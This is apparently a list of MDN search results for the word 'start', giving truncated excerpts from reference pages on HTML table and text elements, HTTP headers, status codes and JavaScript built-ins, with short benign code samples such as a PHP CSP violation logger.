ontains data. it participates in the table model. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories sectioning root. permitted content flow content. tag omission the
start tag is mandatory. the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. implicit aria role cell if a descendant of a <table> element permitted aria roles any dom interface htmltabledatacellelement attributes this element in...
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
of rows summarizing the columns of the table. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content zero or more <tr> elements. tag omission the
start tag is mandatory. the end tag may be omitted if there is no more content in the parent <table> element. permitted parents a <table> element. the <tfoot> must appear after any <caption>, <colgroup>, <thead>, <tbody>, or <tr> element. note that this is the requirement as of html5. html 4 the <tfoot> element cannot be placed after any <tbody> and <tr> element. note that this directly...
<th> - HTML: Hypertext Markup Language
his interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content, but with no header, footer, sectioning content, or heading content descendants. tag omission the
start tag is mandatory. the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. implicit aria role columnheader or rowheader permitted aria roles any dom interface htmltableheadercellelement attributes this element includes the glo...
<thead>: The Table Head element - HTML: Hypertext Markup Language
defining the head of the columns of the table. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content zero or more <tr> elements. tag omission the
start tag is mandatory. the end tag may be omitted if the <thead> element is immediately followed by a <tbody> or <tfoot> element. permitted parents a <table> element. the <thead> must appear after any <caption> or <colgroup> element, even implicitly defined, but before any <tbody>, <tfoot> and <tr> element. implicit aria role rowgroup permitted aria roles any ...
<tr>: The Table Row element - HTML: Hypertext Markup Language
es in tables, let's do that here. tbody > tr > td:last-of-type { text-align:right; } this just sets the css text-align property for the last <td> in each body row to "right". technical summary content categories none permitted content zero or more <td> and/or <th> elements; script-supporting elements (<script> and <template>) are also allowed tag omission
start tag is mandatory. end tag may be omitted if the <tr> element is immediately followed by a <tr> element, or if the row is the last element in its parent table group (<thead>, <tbody> or <tfoot>) element permitted parents <table> (only if the table has no child <tbody> element, and even then only after any <caption>, <colgroup>, and <thead> elements); otherwise, the parent must be <thea...
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
eb video text tracks. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none permitted content none, it is an empty element. tag omission as it is a void element, the
start tag must be present and the end tag must not be present. permitted parents a media element, <audio> or <video>. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltrackelement attributes this element includes the global attributes. default this attribute indicates that the track sho...
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
text that needs to be presented in monospace type, or the <pre> tag for content that should be presented as a separate block. if none of the semantic elements are appropriate for your use case (for example, if you simply need to show some content in a non-proportional font), you should consider using the <span> element, styling it as desired using css. the font-family property is a good place to
start. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. permitted aria roles any dom interface htmlelement attributes this element only incl...
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
ute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. see the usage notes section for further details on when it's appropriate to use <u> and when it isn't. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes along with other pure styling elements, the original html underline (<u>) element ...
<ul>: The Unordered List element - HTML: Hypertext Markup Language
like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, and if the <ul> element's children include at least one <li> element, palpable content. permitted content zero or more <li>, <script> and <template> elements. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree dom interface htmlulistelement attributes this element includes the global attributes. compact this boole...
<var>: The Variable element - HTML: Hypertext Markup Language
t. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes related elements other elements that are used in contexts in which <var> is commo...
<wbr> - HTML: Hypertext Markup Language
cation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content. permitted content empty tag omission it is an empty element; it must have a
start tag, but must not have an end tag. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. notes on utf-8 encoded pages, <wbr> behaves like the u+200b zero-width space code point. in ...
<xmp> - HTML: Hypertext Markup Language
the html2 specification recommended that it should be rendered wide enough to allow 80 characters per line. note: do not use this element. it has been deprecated since html3.2 and was not implemented in a consistent way. it was completely removed from the language in html5. use the <pre> element or, if semantically adequate, the <code> element instead. note that you will need to escape the '<' character as '<' to make sure it is not interpreted as markup. ...
data-* - HTML: Hypertext Markup Language
ve examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. all such custom data are available via the htmlelement interface of the element the attribute is set on. the htmlelement.dataset property gives access to them. the * may be replaced by any name following the production rule of xml names with the following restrictions: the name must not
start with xml, whatever case is used for these letters; the name must not contain any semicolon (u+003a); the name must not contain capital letters. note that the htmlelement.dataset property is a domstringmap, and the name of the custom data attribute data-test-value will be accessible via htmlelement.dataset.testvalue (or by htmlelement.dataset["testvalue"]) as any dash (u+002d) is replaced by ...
draggable - HTML: Hypertext Markup Language
agged. this attribute is enumerated and not boolean. a value of true or false is mandatory, and shorthand like <img draggable> is forbidden. the correct usage is <img draggable="false">. if this attribute is not set, its default value is auto, which means drag behavior is the default browser behavior: only text selections, images, and links can be dragged. for other elements, the event ondrag
start must be set for drag and drop to work, as shown in this comprehensive example. specifications specification status comment html living standardthe definition of 'draggable' in that specification. living standard no change from latest snapshot, html 5.1 html 5.2the definition of 'draggable' in that specification. recommendation no change ...
id - HTML: Hypertext Markup Language
conforming ids that contain whitespace as if the whitespace is part of the id. in contrast to the class attribute, which allows space-separated values, elements can only have one single id value. note: using characters except ascii letters, digits, '_', '-' and '.' may cause compatibility problems, as they weren't allowed in html 4. though this restriction has been lifted in html5, an id should
start with a letter for compatibility. specifications specification status comment html living standardthe definition of 'id' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'id' in that specification. recommendation snapshot of html living standard, no change from html5 html5the definitio...
itemtype - HTML: Hypertext Markup Language
efine itemprop's (item properties) in the data structure. itemscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active. google and other major search engines support the schema.org vocabulary for structured data. this vocabulary defines a standard set of type names and property names. for example, musicevent indicates a concert performance, with
startdate and location properties specifying the concert's key details. in this case, musicevent would be the url used by itemtype, with
startdate and location as itemprop's which musicevent defines. note: more about itemtype attributes can be found at http://schema.org/thing the itemtype attribute must have a value that is an unordered set of unique tokens which are case-sensitive, each is a val...
Inline elements - HTML: Hypertext Markup Language
"inline-level" elements. since this is a presentational characteristic it is nowadays specified by css in the flow layout. inline elements are those which only occupy the space bounded by the tags defining the element, instead of breaking the flow of the content. in this article, we'll examine html inline-level elements and how they differ from block-level elements. an inline element does not
start on a new line and only takes up as much width as necessary. inline vs. block-level elements: a demonstration this is most easily demonstrated with a simple example. first, some simple css that we'll be using: .highlight { background-color:#ee3; } inline let's look at the following example which demonstrates an inline element: <div>the following span is an <span class="highlight">inline e...
Microdata - HTML: Hypertext Markup Language
reate an item, the itemscope attribute is used. to add a property to an item, the itemprop attribute is used on one of the item's descendants. vocabularies google and other major search engines support the schema.org vocabulary for structured data. this vocabulary defines a standard set of type names and property names, for example, schema.org music event indicates a concert performance, with
startdate and location properties to specify the concert's key details. in this case, schema.org music event would be the url used by itemtype and
startdate and location would be itemprop's that schema.org music event defines. note: more about itemtype attributes can be found at http://schema.org/thing microdata vocabularies provide the semantics or meaning of an item. web developers can design a c...
Basics of HTTP - HTTP
e first version of http to support persistent connection and pipelining. this article explains both concepts. connection management in http/2 http/2 completely revisited how connections are created and maintained. this article explains how http frames allow multiplexing and solve the 'head-of-line' blocking problem of former http versions. content negotiation http introduces a set of headers,
starting with accept as a way for a browser to announce the format, language, or encoding it prefers. this article explains how this advertisement happens, how the server is expected to react, and how it chooses the most adequate response. ...
Compression in HTTP - HTTP
-end compression: the node transmitting the request advertizes its will using the te header and the other node chooses the adequate method, applies it, and indicates its choice with the transfer-encoding header. in practice, hop-by-hop compression is transparent for the server and the client, and is rarely used. te and transfer-encoding are mostly used to send a response by chunks, allowing to
start transmitting a resource without knowing its length. note that using transfer-encoding and compression at the hop level is so rare that most servers, like apache, nginx, or iis, have no easy way to configure it. such configuration usually happens at the proxy level. ...
Content negotiation - HTTP
gent) sends several http headers along with the url. these headers describe the preferred choice of the user. the server uses them as hints and an internal algorithm chooses the best content to serve to the client. the algorithm is server-specific and not defined in the standard. see, for example, the apache negotiation algorithm. the http/1.1 standard defines list of the standard headers that
start server-driven negotiation (accept, accept-charset, accept-encoding, accept-language). though strictly speaking user-agent is not in this list, it is sometimes also used to send a specific representation of the requested resource, though this is not considered as a good practice. the server uses the vary header to indicate which headers it actually used for content negotiation (or more precisely t...
Using HTTP cookies - HTTP
; tasty_cookie=strawberry note: here's how to use the set-cookie header in various server-side applications: php node.js python ruby on rails define the lifetime of a cookie the lifetime of a cookie can be defined in two ways: session cookies are deleted when the current session ends. the browser defines when the "current session" ends, and some browsers use session restoring when re
starting, which can cause session cookies to last indefinitely long. permanent cookies are deleted at a date specified by the expires attribute, or after a period of time specified by the max-age attribute. for example: set-cookie: id=a3fwa; expires=wed, 31 oct 2021 07:28:00 gmt; note: when an expires date is set, the time and date set is relative to the client the cookie is being set on, not the...
Using Feature Policy - HTTP
scripts synchronous xmlhttprequest unsized media to avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. that is, the default allowlist is '*' for each feature. preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features. for new content, you can
start developing with a policy that disables all the features. this approach ensures that none of the functionality is introduced. when applying a policy to existing content, testing is likely required to verify it continues to work as expected. this is especially important for embedded or third-party content that you do not control. to turn on the enforcement of all the best practices, specify the po...
Accept-Ranges - HTTP
the accept-ranges response http header is a marker used by the server to advertise its support of partial requests. the value of this field indicates the unit that can be used to define a range. in presence of an accept-ranges header, the browser may try to resume an interrupted download, rather than to
start it from the
start again. header type response header forbidden header name no syntax accept-ranges: <range-unit> accept-ranges: none directives <range-unit> defines the range unit the server supports. though bytes is the only range unit formally defined by rfc 7233, additional range units may be registered in the http range unit registry. none no range unit is supported, this makes the header equivalent of its own absence and is therefore rarely u...
Access-Control-Max-Age - HTTP
w-methods and access-control-allow-headers headers) can be cached. header type response header forbidden header name no syntax access-control-max-age: <delta-seconds> directives <delta-seconds> maximum number of seconds the results can be cached. uxp caps this at 24 hours (86400 seconds). chromium (prior to v76) caps at 10 minutes (600 seconds). chromium (
starting in v76) caps at 2 hours (7200 seconds). chromium also specifies a default value of 5 seconds. a value of -1 will disable caching, requiring a preflight options check for all calls. examples cache results of a preflight request for 10 minutes: access-control-max-age: 600 specifications specification status comment fetchthe definition of 'access-control-max-a...
Content-Range - HTTP
the content-range response http header indicates where in a full body message a partial message belongs. header type response header forbidden header name no cors-safelisted response-header no syntax content-range: <unit> <range-
start>-<range-end>/<size> content-range: <unit> <range-
start>-<range-end>/* content-range: <unit> */<size> directives <unit> the unit in which ranges are specified. this is usually bytes. <range-
start> an integer in the given unit indicating the beginning of the request range. <range-end> an integer in the given unit indicating the end of the requested range. <size> the total size of the document (or '*' if unknown). examples content-range: bytes 200-1000/67589 specifications specification tit...
CSP: report-uri - HTTP
ntent-security-policy-report-only for more information and examples. content-security-policy: default-src https:; report-uri /csp-violation-report-endpoint/ /csp-violation-report-endpoint/ could for example run a php something like the following that logs the json detailing the violation and, if the violation is the first one added to the log file, sends an email to an administrator: <?php //
start configure $log_file = dirname(__file__) . '/csp-violations.log'; $log_file_size_limit = 1000000; // bytes - once exceeded no further entries are added $email_address = 'admin@example.com'; $email_subject = 'content-security-policy violation'; // end configuration $current_domain = preg_replace('/www\./i', '', $_server['server_name']); $email_subject = $email_subject . ' on ' . $current_domain; ...
CSP: sandbox - HTTP
not used, that functionality will silently fail. allow-popups-to-escape-sandbox allows a sandboxed document to open new windows without forcing the sandboxing flags upon them. this will allow, for example, a third-party advertisement to be safely sandboxed without forcing the same restrictions upon a landing page. allow-presentation allows embedders to have control over whether an iframe can
start a presentation session. allow-same-origin allows the content to be treated as being from its normal origin. if this keyword is not used, the embedded content is treated as being from a unique origin. allow-scripts allows the page to run scripts (but not create pop-up windows). if this keyword is not used, this operation is not allowed. allow-storage-access-by-user-activation lets the reso...
Large-Allocation - HTTP
d to every browser. webassembly or asm.js applications can use large contiguous blocks of allocated memory. for complex games, for example, these allocations can be quite large, sometimes as large as 1gb. the large-allocation tells the browser that the web content in the to-be-loaded page is going to want to perform a large contiguous memory allocation and the browser can react to this header by
starting a dedicated process for the to-be-loaded document, for example. header type response header forbidden header name no syntax large-allocation: 0 large-allocation: <megabytes> directives 0 0 is a special value which represents uncertainty as to what the size of the allocation is. <megabytes> the expected size of the allocation to be performed, in megabyte...
Set-Cookie - HTTP
ouble quotes and include any us-ascii characters excluding control characters, whitespace, double quotes, comma, semicolon, and backslash. encoding: many implementations perform url encoding on cookie values, however it is not required per the rfc specification. it does help satisfying the requirements about which characters are allowed for <cookie-value> though. __secure- prefix: cookies names
starting with __secure- (dash is part of the prefix) must be set with the secure flag from a secure page (https). __host- prefix: cookies with names
starting with __host- must be set with the secure flag, must be from a secure page (https), must not have a domain specified (and therefore aren't sent to subdomains) and the path must be /. expires=<date> optional the maximum lifetime of the coo...
X-Content-Type-Options - HTTP
of mime type sniffing, or, in other words, to say that the mime types are deliberately configured. this header was introduced by microsoft in ie 8 as a way for webmasters to block content sniffing that was happening and could transform non-executable mime types into executable mime types. since then, other browsers have introduced it, even if their mime sniffing algorithms were less aggressive.
starting with firefox 72, the opting out of mime sniffing is also applied to top-level documents if a content-type is provided. this can cause html web pages to be downloaded instead of being rendered when they are served with a mime type other than text/html. make sure to set both headers correctly. site security testers usually expect this header to be set. note: x-content-type-options only apply r...
CONNECT - HTTP
it can be used to open a tunnel. for example, the connect method can be used to access websites that use ssl (https). the client asks an http proxy server to tunnel the tcp connection to the desired destination. the server then proceeds to make the connection on behalf of the client. once the connection has been established by the server, the proxy server continues to proxy the tcp stream to and from the client. connect is a hop-by-hop method. ...
Proxy servers and tunneling - HTTP
, both forward and reverse proxies, and can appear in the request headers and the response headers. http tunneling tunneling transmits private network data and protocol information through public network by encapsulating the data. http tunneling is using a protocol of higher level (http) to transport a lower level protocol (tcp). the http protocol specifies a request method called connect. it
starts two-way communications with the requested resource and can be used to open a tunnel. this is how a client behind an http proxy can access websites using ssl (i.e. https, port 443). note, however, that not all proxy servers support the connect method or limit it to port 443 only. see also the http tunnel article on wikipedia. proxy auto-configuration (pac) a proxy auto-configuration (pac) file...
103 Early Hints - HTTP
syntax 103 early hints specifications specification status comments rfc 8297: 103 early hints ietf rfc initial definition browser compatibility the compatibility table in this page is generated from structured data. ...
202 Accepted - HTTP
the request might or might not eventually be acted upon, as it might be disallowed when processing actually takes place. 202 is non-committal, meaning that there is no way for the http to later send an asynchronous response indicating the outcome of processing the request. ...
HTTP response status codes - HTTP
ching protocol this code is sent in response to an upgrade request header from the client, and indicates the protocol the server is switching to. 102 processing (webdav) this code indicates that the server has received and is processing the request, but no response is available yet. 103 early hints this status code is primarily intended to be used with the link header, letting the user agent
start preloading resources while the server prepares a response. successful responses 200 ok the request has succeeded. the meaning of the success depends on the http method: get: the resource has been fetched and is transmitted in the message body. head: the entity headers are in the message body. put or post: the resource describing the result of the action is transmitted in the message...
CSS Houdini
wer comes great responsibility! with houdini you could invent your own masonry, grid, or regions implementation, but doing so is not necessarily the best idea. the css working group does a lot of work to ensure every feature is performant, handles all edge cases, and considers security, privacy, and accessibility. as you extend css with houdini, make sure to keep these considerations in mind, and
start small before moving on to more ambitious projects. the houdini apis below you can find links to the main reference pages covering the apis that fall under the houdini umbrella, along with links to guides to help you if you need guidance in learning how to use them.
start by reading houdini, an introduction — this provides a brief history of houdini and an overview of its many features. ...
JavaScript data types and data structures - JavaScript
a double-precision 64-bit binary format ieee 754 value (numbers between -(253 − 1) and 253 − 1). in addition to representing floating-point numbers, the number type has three symbolic values: +infinity, -infinity, and nan ("not a number"). to check for the largest available value or smallest available value within ±infinity, you can use the constants number.max_value or number.min_value.
starting with ecmascript 2015, you are also able to check if a number is in the double-precision floating-point number range using number.issafeinteger() as well as number.max_safe_integer and number.min_safe_integer. beyond this range, integers in javascript are not safe anymore and will be a double-precision floating point approximation of the value. the number type has only one integer with two r...
Details of the object model - JavaScript
initializes the object's machine property to "belau". upon return from the constructor, javascript assigns the new object to the jane variable. you might think that, having called the workerbee constructor from inside the engineer constructor, you have set up inheritance appropriately for engineer objects. this is not the case. calling the workerbee constructor ensures that an engineer object
starts out with the properties specified in all constructor functions that are called. however, if you later add properties to the employee or workerbee prototypes, those properties are not inherited by the engineer object. for example, assume you have the following statements: function engineer(name, projs, mach) { this.base = workerbee; this.base(name, 'engineering', projs); this.machine = mac...
Meta programming - JavaScript
property lookup, assignment, enumeration, function invocation, etc). with the help of these two objects you are able to program at the meta level of javascript. proxies introduced in ecmascript 6, proxy objects allow you to intercept certain operations and to implement custom behaviors. ...
Regular expression syntax cheatsheet - JavaScript
lso edit the original article boundary-type assertions characters meaning ^ matches the beginning of input. if the multiline flag is set to true, also matches immediately after a line break character. for example, /^a/ does not match the "a" in "an a", but does match the first "a" in "an a". this character has a different meaning when it appears at the
start of a group. $ matches the end of input. if the multiline flag is set to true, also matches immediately before a line break character. for example, /t$/ does not match the "t" in "eater", but does match it in "eat". \b matches a word boundary. this is the position where a word character is not followed or preceded by another word-character, such as be...
Memory Management - JavaScript
ill never be released and can lead to memory related issues such as the browser becoming increasingly slower. mark-and-sweep algorithm this algorithm reduces the definition of "an object is no longer needed" to "an object is unreachable". this algorithm assumes the knowledge of a set of objects called roots. in javascript, the root is the global object. periodically, the garbage collector will
start from these roots, find all objects that are referenced from these roots, then all objects referenced from these, etc.
starting from the roots, the garbage collector will thus find all reachable objects and collect all non-reachable objects. this algorithm is an improvement over the previous one since an object having zero references is effectively unreachable. the opposite does not hold true as ...
About the JavaScript reference - JavaScript
be it a browser, server-side scripts, or similar. for the most part, this reference attempts to be environment-agnostic and does not target a web browser environment. where to find javascript information javascript documentation of core language features (pure ecmascript, for the most part) includes the following: the javascript guide the javascript reference if you are new to javascript,
start with the guide. once you have a firm grasp of the fundamentals, you can use the reference to get more details on individual objects and language constructs. structure of the reference in the javascript reference you can find the following chapters: standard built-in objects this chapter documents all the javascript standard built-in objects, along with their methods and properties. stateme...
Deprecated and obsolete features - JavaScript
ch. the following are now properties of regexp instances, no longer of the regexp object: property description global whether or not to test the regular expression against all possible matches in a string, or only against the first. ignorecase whether or not to ignore case while attempting a match in a string. lastindex the index at which to
start the next match. multiline whether or not to search in strings across multiple lines. source the text of the pattern. regexp methods the compile() method is deprecated. the valueof method is no longer specialized for regexp. use object.valueof(). function properties the caller and arguments properties are deprecated, because they leak the function caller. in...
Warning: 08/09 is not a legal ECMA-262 octal constant - JavaScript
cript warning "08 (or 09) is not a legal ecma-262 octal constant" occurs when 08 or 09 number literals are used. they can't be interpreted as an octal number. message warning: syntaxerror: 08 is not a legal ecma-262 octal constant. warning: syntaxerror: 09 is not a legal ecma-262 octal constant. error type warning. javascript execution won't be halted. what went wrong? decimal literals can
start with a zero (0) followed by another decimal digit, but if all digits after the leading 0 are smaller than 8, the number is interpreted as an octal number. because this is not the case with 08 and 09, javascript warns about it. note that octal literals and octal escape sequences are deprecated and will present an additional deprecation warning. with ecmascript 6 and later, the syntax uses a leadi...
SyntaxError: invalid regular expression flag "x" - JavaScript
or var re = new regexp('pattern', 'flags'); regular expression flags flag description g global search. i case-insensitive search. m multi-line search. s allow . to match newlines (added in ecmascript 2018) u unicode; treat pattern as a sequence of unicode code points y perform a "sticky" search that matches
starting at the current position in the target string. see sticky examples there are only six valid regular expression flags. /foo/bar; // syntaxerror: invalid regular expression flag "b" did you intend to create a regular expression? an expression containing two slashes is interpreted as a regular expression literal. let obj = { url: /docs/web }; // syntaxerror: invalid regular express...
SyntaxError: missing formal parameter - JavaScript
unction, the parameters must be identifiers, not any value like numbers, strings, or objects. declaring functions and calling functions are two separate steps. declarations require identifier as parameters, and only when calling (invoking) the function, you provide the values the function should use. in javascript, identifiers can contain only alphanumeric characters (or "$" or "_"), and may not
start with a digit. an identifier differs from a string in that a string is data, while an identifier is part of the code. examples provide proper function parameters function parameters must be identifiers when setting up a function. all these function declarations fail, as they are providing values for their parameters: function square(3) { return number * number; }; // syntaxerror: missing for...
Arrow function expressions - JavaScript
nterval(() => { this.age++; // |this| properly refers to the person object }, 1000); } var p = new person(); relation with strict mode given that this comes from the surrounding lexical context, strict mode rules with regard to this are ignored. var f = () => { 'use strict'; return this; }; f() === window; // or the global object all other strict mode rules apply normally. correction:
start note: the previous statement seems false. strict mode should prevent creating global variables when assigning to an undeclared identifier in a function. this code sample using chrome 81 demonstrates that arrow functions allow the creation of global variables in such situations (both for a concise body and for a normal function body): > f1 = x => { y = x; console.log(`x: ${x}, y: ${y}`); retur...
Method definitions - JavaScript
it is a shorthand for a function assigned to the method's name. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
getter - JavaScript
roperty is looked up. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax {get prop() { ... } } {get [expression]() { ... } } parameters prop the name of the property to bind to the given function. expression
starting with ecmascript 2015, you can also use expressions for a computed property name to bind to the given function. description sometimes it is desirable to allow access to a property that returns a dynamically computed value, or you may want to reflect the status of an internal variable without requiring the use of explicit method calls. in javascript, this can be accomplished with the use of a...
setter - JavaScript
ry. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax {set prop(val) { . . . }} {set [expression](val) { . . . }} parameters prop the name of the property to bind to the given function. val an alias for the variable that holds the value attempted to be assigned to prop. expression
starting with ecmascript 2015, you can also use expressions for a computed property name to bind to the given function. description in javascript, a setter can be used to execute a function whenever a specified property is attempted to be changed. setters are most often used in conjunction with getters to create a type of pseudo-property. it is not possible to simultaneously have a setter on a prope...
Array.prototype.find() - JavaScript
'bananas', quantity: 0}, {name: 'cherries', quantity: 5} ]; const result = inventory.find( ({ name }) => name === 'cherries' ); console.log(result) // { name: 'cherries', quantity: 5 } find a prime number in an array the following example finds an element in the array that is a prime number (or returns undefined if there is no prime number): function isprime(element, index, array) { let
start = 2; while (
start <= math.sqrt(element)) { if (element %
start++ < 1) { return false; } } return element > 1; } console.log([4, 6, 8, 12].find(isprime)); // undefined, not found console.log([4, 5, 8, 12].find(isprime)); // 5 the following examples show that nonexistent and deleted elements are visited, and that the value passed to the callback is their value when visited: ...
Array.prototype.includes() - JavaScript
s and characters, includes() is case-sensitive. fromindex optional the position in this array at which to begin searching for valuetofind. the first element to be searched is found at fromindex for positive values of fromindex, or at arr.length + fromindex for negative values of fromindex (using the absolute value of fromindex as the number of elements from the end of the array at which to
start the search). defaults to 0. return value a boolean which is true if the value valuetofind is found within the array (or the part of the array indicated by the index fromindex, if specified). values of zero are all considered to be equal, regardless of sign. (that is, -0 is considered to be equal to both 0 and +0), but false is not considered to be the same as 0. note: technically speaking,...
Array.prototype.indexOf() - JavaScript
or -1 if it is not present. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.indexof(searchelement[, fromindex]) parameters searchelement element to locate in the array. fromindex optional the index to
start the search at. if the index is greater than or equal to the array's length, -1 is returned, which means the array will not be searched. if the provided index value is a negative number, it is taken as the offset from the end of the array. note: if the provided index is negative, the array is still searched from front to back. if the provided index is 0, then the whole array will be searched. defa...
Array.prototype.lastIndexOf() - JavaScript
the lastindexof() method returns the last index at which a given element can be found in the array, or -1 if it is not present. the array is searched backwards,
starting at fromindex. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.lastindexof(searchelement[, fromindex]) parameters searchelement element to locate in the array. fromindex optional the index at which to
start searching backwards. defaults to the array's length minus one (arr.length - 1), i.e. the whole array will be searched. if the index is greater than or equal to the length of the array, the whole array will be searched. if negati...
Array.prototype.push() - JavaScript
tn]]]) parameters elementn the element(s) to add to the end of the array. return value the new length property of the object upon which the method was called. description the push method appends values to an array. push is intentionally generic. this method can be used with call() or apply() on objects resembling arrays. the push method relies on a length property to determine where to
start inserting the given values. if the length property cannot be converted into a number, the index used is 0. this includes the possibility of length being nonexistent, in which case length will also be created. although strings are native, array-like objects, they are not suitable in applications of this method, as strings are immutable. similarly for the native, array-like object arguments. exa...
Array.prototype.toString() - JavaScript
the array. description the array object overrides the tostring method of object. for array objects, the tostring method joins the array and returns one string containing each array element separated by commas. javascript calls the tostring method automatically when an array is to be represented as a text value or when an array is referred to in a string concatenation. ecmascript 5 semantics
starting in javascript 1.8.5 (firefox 4), and consistent with ecmascript 5th edition semantics, the tostring() method is generic and can be used with any object. object.prototype.tostring() will be called, and the resulting value will be returned. examples using tostring const array1 = [1, 2, 'a', '1a']; console.log(array1.tostring()); // expected output: "1,2,a,1a" specifications speci...
ArrayBuffer() constructor - JavaScript
om/mdn/interactive-examples and send us a pull request. syntax new arraybuffer(length) parameters length the size, in bytes, of the array buffer to create. return value a new arraybuffer object of the specified size. its contents are initialized to 0. exceptions a rangeerror is thrown if the length is larger than number.max_safe_integer (>= 2 ** 53) or negative. compatibility notes
starting with ecmascript 2015, arraybuffer constructors require to be constructed with a new operator. calling an arraybuffer constructor as a function without new, will throw a typeerror from now on. var dv = arraybuffer(10); // typeerror: calling a builtin arraybuffer constructor // without new is forbidden var dv = new arraybuffer(10); examples creating an arraybuffer in this example, we create...
Atomics - JavaScript
t with a new operator or invoke the atomics object as a function. all properties and methods of atomics are static (as is the case with the math object, for example). atomic operations when memory is shared, multiple threads can read and write the same data in memory. atomic operations make sure that predictable values are written and read, that operations are finished before the next operation
starts and that operations are not interrupted. wait and notify the wait() and notify() methods are modeled on linux futexes ("fast user-space mutex") and provide ways for waiting until a certain condition becomes true and are typically used as blocking constructs. static methods atomics.add() adds the provided value to the existing value at the specified index of the array. returns the old valu...
DataView() constructor - JavaScript
https://github.com/mdn/interactive-examples and send us a pull request. syntax new dataview(buffer [, byteoffset [, bytelength]]) parameters buffer an existing arraybuffer or sharedarraybuffer to use as the storage backing the new dataview object. byteoffset optional the offset, in bytes, to the first byte in the above buffer for the new view to reference. if unspecified, the buffer view
starts with the first byte. bytelength optional the number of elements in the byte array. if unspecified, the view's length will match the buffer's length. return value a new dataview object representing the specified data buffer. (that probably wasn't a very helpful description.) you can think of the returned object as an "interpreter" of the array buffer of bytes — it knows how to convert num...
DataView.prototype.byteLength - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description the bytelength property is an accessor property whose set accessor function is undefined, meaning that you can only read this property. the value is established when an dataview is constructed and cannot be changed. ...
DataView.prototype.byteOffset - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description the byteoffset property is an accessor property whose set accessor function is undefined, meaning that you can only read this property. the value is established when an dataview is constructed and cannot be changed. ...
Date.prototype.getTime() - JavaScript
1995 var birthday = new date(1994, 12, 10); var copy = new date(); copy.settime(birthday.gettime()); measuring execution time subtracting two subsequent gettime() calls on newly generated date objects, give the time span between these two calls. this can be used to calculate the executing time of some operations. see also date.now() to prevent instantiating unnecessary date objects. var end,
start;
start = new date(); for (var i = 0; i < 1000; i++) { math.sqrt(i); } end = new date(); console.log('operation took ' + (end.gettime() -
start.gettime()) + ' msec'); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gettime' in that specification. ...
Date.prototype.setMonth() - JavaScript
so, 0 represents january, 11 represents december, -1 represents december of the previous year, and 12 represents january of the following year. dayvalue optional. ...
Function.prototype.apply() - JavaScript
ot be the actual value seen by the method: if the method is a function in non-strict mode code, null and undefined will be replaced with the global object, and primitive values will be boxed. this argument is required. argsarray optional an array-like object, specifying the arguments with which func should be called, or null or undefined if no arguments should be provided to the function.
starting with ecmascript 5 these arguments can be a generic array-like object instead of an array. see below for browser compatibility information. return value the result of calling the function with the specified this value and arguments. description note: while the syntax of this function is almost identical to that of call(), the fundamental difference is that call() accepts an argument lis...
Function.prototype.bind() - JavaScript
ion with 'this' bound to module // new programmers might confuse the // global variable 'x' with module's property 'x' const boundgetx = retrievex.bind(module); boundgetx(); // returns 81 partially applied functions the next simplest use of bind() is to make a function with pre-specified initial arguments. these arguments (if any) follow the provided this value and are then inserted at the
